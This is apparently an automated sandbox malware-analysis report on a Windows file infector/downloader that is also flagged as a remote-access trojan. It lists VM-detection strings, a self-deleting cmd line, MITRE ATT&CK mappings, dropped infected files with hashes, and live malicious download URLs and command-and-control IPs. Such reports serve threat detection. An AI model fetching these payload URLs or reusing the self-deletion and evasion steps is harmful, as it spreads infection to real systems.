Source: Amcache.hve.1.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.1.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: SySyeu.exe, 00000007.00000002.4131120293.0000000003147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.1.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: gE4NVCZDRk.exe, 00000000.00000002.1706261210.000000000067D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.1.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.1.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.1.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.1.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.1.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.1.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.1.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.1.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.1.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.1.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual RAM
Source: XekSuT.exe, 00000001.00000002.1891528876.000000000155C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: Amcache.hve.1.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.1.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	API call chain: ExitProcess graph end node			graph_1-1028
Source: C:\Windows\SysWOW64\SySyeu.exe	API call chain: ExitProcess graph end node			graph_7-2030

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\SySyeu.exe

Code function: 7_2_00E15E4F LdrResolveDelayLoadedAPI,

7_2_00E15E4F

Source: C:\Windows\SysWOW64\SySyeu.exe

Code function: 7_2_00E125B2 GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,

7_2_00E125B2

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

Code function: 0_2_00401B6B LoadLibraryA,GetProcAddress,__p__pgmptr,sprintf,GetCurrentProcess,SetPriorityClass,GetCurrentThread,SetThreadPriority,ShellExecuteA,

0_2_00401B6B

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Code function: 0_2_0040C044 mov eax, dword ptr fs:[00000030h]		0_2_0040C044
Source: C:\Windows\SysWOW64\SySyeu.exe	Code function: 7_2_00E13F6B mov esi, dword ptr fs:[00000030h]		7_2_00E13F6B

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_10003D5D FreeLibrary,free,VirtualFree,GetProcessHeap,HeapFree,

3_2_10003D5D

Source: C:\Windows\SysWOW64\SySyeu.exe	Code function: 7_2_00E161C0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		7_2_00E161C0
Source: C:\Windows\SysWOW64\SySyeu.exe	Code function: 7_2_00E16510 SetUnhandledExceptionFilter,		7_2_00E16510

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 1 && del /f/q "C:\Users\user\Desktop\gE4NVCZDRk.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6180 -ip 6180	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6180 -s 1456	Jump to behavior

Source: SciTE.exe.1.dr

Binary or memory string: Ctrl+RightLeftDownUpDecimalMinusMultiplyDivideTabSpaceDeleteEscapeEndInsertEnterHomeForwardBackwardPLAT_WIN1PageDownPageUpMenuWinSciTEACCELSSciTEWindowContentSciTEWindowPLAT_WINNT1toolbar.largecreate.hidden.consolegbkbig5euc-krshift_jisutf-8asciilatin2latin1translation.encodingwindows-1251ScaleFactoriso-8859-5cyrillic1250iso8859-11SciTE_HOMEAppsUseLightThemeSciTE_USERHOMESciTE_HOMEPropertiesScaleFactorSoftware\Microsoft\Windows\CurrentVersion\Themes\PersonalizeEmbeddedRich Text FormatButtonShell_TrayWndUSERPROFILESciTE_HOMEHtmlHelpWHHCTRL.OCX

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Code function: 1_2_003C1718 GetSystemTimeAsFileTime,SHSetValueA,SHGetValueA,__aulldiv,__aulldiv,

1_2_003C1718

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Code function: 1_2_003C139F GetVersionExA,LookupPrivilegeValueA,GetCurrentProcessId,

1_2_003C139F

Source: Amcache.hve.1.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: gE4NVCZDRk.exe	Binary or memory string: 360tray.exe
Source: Amcache.hve.1.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: XekSuT.exe PID: 6180, type: MEMORYSTR

Yara detected RunningRAT

Source: Yara match	File source: gE4NVCZDRk.exe, type: SAMPLE
Source: Yara match	File source: 0.0.gE4NVCZDRk.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1680620714.0000000000403000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gE4NVCZDRk.exe PID: 7112, type: MEMORYSTR

Remote Access Functionality

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: XekSuT.exe PID: 6180, type: MEMORYSTR

Yara detected RunningRAT

Source: Yara match	File source: gE4NVCZDRk.exe, type: SAMPLE
Source: Yara match	File source: 0.0.gE4NVCZDRk.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1680620714.0000000000403000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: gE4NVCZDRk.exe PID: 7112, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	12 Native API	1 DLL Side-Loading	1 DLL Side-Loading	2 Obfuscated Files or Information	11 Input Capture	11 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	12 Software Packing	LSASS Memory	5 File and Directory Discovery	Remote Desktop Protocol	11 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Service Execution	22 Windows Service	11 Access Token Manipulation	1 Timestomp	Security Account Manager	4 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	22 Windows Service	1 DLL Side-Loading	NTDS	131 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	13 Process Injection	11 File Deletion	LSA Secrets	1 Virtualization/Sandbox Evasion	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	13 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	11 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	13 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Indicator Removal	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
gE4NVCZDRk.exe	97%	ReversingLabs	Win32.Virus.Jadtre
gE4NVCZDRk.exe	100%	Avira	W32/Jadtre.B
gE4NVCZDRk.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\XekSuT.exe	100%	Avira	TR/Dldr.Small.Z.haljq
C:\Users\user\AppData\Local\Temp\6011859.dll	100%	Avira	BDS/Backdoor.Gen7
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Jadtre.B
C:\Program Files\7-Zip\Uninstall.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\Temp\XekSuT.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6011859.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files\7-Zip\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6011859.dll	96%	ReversingLabs	Win32.Backdoor.Venik
C:\Users\user\AppData\Local\Temp\XekSuT.exe	97%	ReversingLabs	Win32.Trojan.Skeeyah
C:\Windows\SysWOW64\SySyeu.exe	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ddos.dnsnb8.net	44.221.84.105	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://ddos.dnsnb8.net:799/cj//k3.rar	true	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar	true	unknown
http://ddos.dnsnb8.net:799/cj//k5.rar	true	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar	true	unknown
http://ddos.dnsnb8.net:799/cj//k4.rar	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ddos.dnsnb8.net:799/cj//k1.rarmOg	XekSuT.exe, 00000001.00000002.1891528876.000000000153E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ddos.dnsnb8.net:799/cj//k4.rar?	XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.scintilla.org/scite.rng	SciTE.exe.1.dr	false		unknown
http://www.rftp.comJosiah	SciTE.exe.1.dr	false		unknown
http://ddos.dnsnb8.net/=	XekSuT.exe, 00000001.00000002.1891528876.000000000155C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.activestate.com	SciTE.exe.1.dr	false		unknown
http://www.activestate.comHolger	SciTE.exe.1.dr	false		unknown
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	XekSuT.exe, 00000001.00000003.1681276523.00000000014D0000.00000004.00001000.00020000.00000000.sdmp, XekSuT.exe, 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.1.dr	false	URL Reputation: safe	unknown
http://www.rftp.com	SciTE.exe.1.dr	false		unknown
http://ddos.dnsnb8.net:799/cj//k5.rar-	XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.baanboard.comBrendon	SciTE.exe.1.dr	false		unknown
https://www.smartsharesystems.com/	SciTE.exe.1.dr	false		unknown
http://www.scintilla.org	SciTE.exe.1.dr	false		unknown
http://www.spaceblue.comMathias	SciTE.exe.1.dr	false		unknown
https://www.smartsharesystems.com/Morten	SciTE.exe.1.dr	false		unknown
http://ddos.dnsnb8.net/e	XekSuT.exe, 00000001.00000002.1891528876.000000000155C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.develop.com	SciTE.exe.1.dr	false		unknown
http://www.lua.org	SciTE.exe.1.dr	false		unknown
http://ddos.dnsnb8.net:799/cj//k2.rarA	XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ddos.dnsnb8.net/	XekSuT.exe, 00000001.00000002.1891528876.000000000155C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ddos.dnsnb8.net:799/cj//k5.rarC	XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ddos.dnsnb8.net:799/cj//k4.rarr	XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.spaceblue.com	SciTE.exe.1.dr	false		unknown
http://www.baanboard.com	SciTE.exe.1.dr	false		unknown
http://www.develop.comDeepak	SciTE.exe.1.dr	false		unknown
http://ddos.dnsnb8.net:799/cj//k5.rar=1	XekSuT.exe, 00000001.00000002.1891528876.0000000001592000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
119.91.152.151	unknown	China		24143	CNNIC-QCN-APQingdaoCableTVNetworkCenterCN	true
44.221.84.105	ddos.dnsnb8.net	United States		14618	AMAZON-AESUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544387
Start date and time:	2024-10-29 10:58:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gE4NVCZDRk.exe renamed because original name is a hash value
Original Sample Name:	02b3757b29002a8fcabd9afaebf1f7d3.exe
Detection:	MAL
Classification:	mal100.spre.bank.troj.evad.winEXE@24/33@1/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 37 Number of non-executed functions: 93
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: gE4NVCZDRk.exe

Simulations

Behavior and APIs

Time	Type	Description
05:59:18	API Interceptor	1x Sleep call for process: WerFault.exe modified
05:59:34	API Interceptor	9763412x Sleep call for process: svchost.exe modified
05:59:41	API Interceptor	1517x Sleep call for process: SySyeu.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
119.91.152.151	uHmFQqHIIA.exe	Get hash	malicious	RunningRAT	Browse
	2Syx0ZLsgo.exe	Get hash	malicious	RunningRAT	Browse
	I6A09pYeTA.exe	Get hash	malicious	RunningRAT	Browse
	SecuriteInfo.com.Trojan.MulDrop28.21322.11416.10977.exe	Get hash	malicious	GhostRat, Nitol	Browse
	harst.exe	Get hash	malicious	RunningRAT	Browse
	sIhckM7o37.exe	Get hash	malicious	Gh0stCringe RunningRAT	Browse
44.221.84.105	AsusSetup.exe	Get hash	malicious	Unknown	Browse	npukfztj.biz/clexsjcapi
	SetupRST.exe	Get hash	malicious	Unknown	Browse	banwyw.biz/awjdluu
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	uphca.biz/yfvdkcw
	ib.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	jhvzpcfg.biz/qsmoxnmhx
	samoanaliz-uroka-okruzhayuschij-mir-po-teme-kakie-byvayut-zhivotnye.exe	Get hash	malicious	Unknown	Browse	wxanalytics.ru/net.exe
	balet-spyaschaya-krasavitsa.exe	Get hash	malicious	Unknown	Browse	wxanalytics.ru/net.exe
	http://44.221.84.105	Get hash	malicious	Unknown	Browse	44.221.84.105/favicon.ico
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	neazudmrq.biz/yewbnslbiwmcquj
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	banwyw.biz/wrjeoyp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ddos.dnsnb8.net	ib.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	SecuriteInfo.com.Win32.Malware-gen.17468.9520.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	1hdqYXYJkr.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	7Y18r(193).exe	Get hash	malicious	Bdaejec, Stealc	Browse	44.221.84.105
	BUG32.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	7Y18r(212).exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	7Y18r(216).exe.dll	Get hash	malicious	Bdaejec, Sality	Browse	44.221.84.105
	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	BUG32.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	https://dvhpkbq.sharing.bublup.com/mybublup/#/mystuff/001-f-cb6f5ea2-07bf-4021-a767-4b4547f8c10b/mixed?lid=001-si-_s1J1-rGiVhh	Get hash	malicious	HTMLPhisher	Browse	3.213.224.128
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	54.30.10.248
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	3.94.160.165
	arm5.elf	Get hash	malicious	Unknown	Browse	54.139.27.107
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	54.221.133.31
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	100.25.27.129
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	44.210.77.34
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	54.129.85.119
	https://ws.onehub.com/files/3wbmh4dn	Get hash	malicious	Unknown	Browse	54.173.137.115
	https://filerit.com/pi-240924.ps1	Get hash	malicious	Unknown	Browse	50.16.37.48
CNNIC-QCN-APQingdaoCableTVNetworkCenterCN	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	119.91.25.3
	byte.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	119.91.250.10
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	115.174.103.181
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	220.112.52.250
	uHmFQqHIIA.exe	Get hash	malicious	RunningRAT	Browse	119.91.152.151
	SecuriteInfo.com.Variant.Giant.Zusy.6.12808.9954.exe	Get hash	malicious	Unknown	Browse	119.91.67.107
	novo.x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	60.232.182.139
	2Syx0ZLsgo.exe	Get hash	malicious	RunningRAT	Browse	119.91.152.151
	I6A09pYeTA.exe	Get hash	malicious	RunningRAT	Browse	119.91.152.151
	SecuriteInfo.com.Trojan.MulDrop28.21322.11416.10977.exe	Get hash	malicious	GhostRat, Nitol	Browse	119.91.152.151

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\XekSuT.exe	ib.exe	Get hash	malicious	Bdaejec	Browse
	SecuriteInfo.com.Win32.Malware-gen.17468.9520.exe	Get hash	malicious	Bdaejec	Browse
	8VB4lVuZk3.exe	Get hash	malicious	Bdaejec	Browse
	biKy3nZEyJ.exe	Get hash	malicious	Bdaejec	Browse
	biKy3nZEyJ.exe	Get hash	malicious	Bdaejec	Browse
	#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe	Get hash	malicious	Bdaejec, Sality	Browse
	a4#Uff09.exe	Get hash	malicious	Bdaejec, Sality	Browse
	1.0.0.2.exe	Get hash	malicious	Bdaejec, Sality	Browse
	log1.exe	Get hash	malicious	Babadeda, Bdaejec, Neshta	Browse
	log2.exe	Get hash	malicious	Babadeda, Bdaejec, Neshta	Browse
C:\Users\user\AppData\Local\Temp\6011859.dll	uHmFQqHIIA.exe	Get hash	malicious	RunningRAT	Browse

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	6.590488550549625
Encrypted:	false
SSDEEP:	384:1F/S8XZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:ycQGPL4vzZq2o9W7GsxBbPr
MD5:	87EBBA9962E0431E9BED32CB7E5DF48A
SHA1:	B5D695A1E4759FF6A2846E1A0E526A2ADF8AE3A2
SHA-256:	8B859F26169ED9EE2DCB671391BE25FD36494FF2B272D359561322131935809C
SHA-512:	502E1B1CA82AA2E35216955FD0508B5CB4EBDB910F930953528E84047B03D71F76403C81647596DCAE2A2D722E91CA9528B12D425158250AFE91EB9F53239943
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ..........................................................@...PE..L....................................0............................................................................................... ..l...........................................................................................................PELIB...............................`....rsrc........ ......................@..@..Y\|.uR..P...0...B.................. ...................................................................................j.h"...h....j...(....Hello World!.MyProg........................................................................................................................................................................................................................(...........0...(.......................;.......User32.dll...MessageBoxA................................................................................................dummy.exe.....................TestExport.CallPlz................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2389504
Entropy (8bit):	6.731338221304018
Encrypted:	false
SSDEEP:	49152:BGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL:V4OEtwiICvYMpf
MD5:	4C118C50DF307996419B06E92163087D
SHA1:	29825FBD6055C6AC06E91293C024C496A6B42439
SHA-256:	CFF2F2A0EAEADA0E77739524E284275912CCBE6E9F34341105E9B7A1C5B8C961
SHA-512:	473A8893C79F1FB7A9E120FFFF31F23CB7D83C09BF9C7356C8BB80C975858E16A427DCCA628D4C96DFA7BD4B285D8FE0EC869CF73E6F78AA1E8462A70DC5B17E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~.......p$...........@...........................$...........@.........................p...<............@ ......................P#.....@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@..B.....u...P...p$..B...4$............. ...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\XekSuT.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	6.366075585544415
Encrypted:	false
SSDEEP:	768:uWQ3655Kv1X/qY1MSdlIQGPL4vzZq2o9W7GsxBbPr:uHqaNrFdlDGCq2iW7z
MD5:	B4E43FE71C2D3E1EE806FA4CE9E78C13
SHA1:	43E9681F79AE68CCA8119CBE1028795BCE3FA6C0
SHA-256:	7284D7F7B495D6A858B295ED3D70F9D8D6A22068194964582EC2F66F8964EEB3
SHA-512:	61B685A964E53226EB59275BE524C9E2325EA9BC4BAC96F77156717518D10199643D153DA5CA1BC9C0F4E42A0853591A9E932696536AB73AA908C1BA85AFE4FF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_XekSuT.exe_24c27fbdbba447a89abf50ef7e2ed5439a15e51d_dc0ba3f8_8105e1f2-2929-4267-abb0-a6608c1169c0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
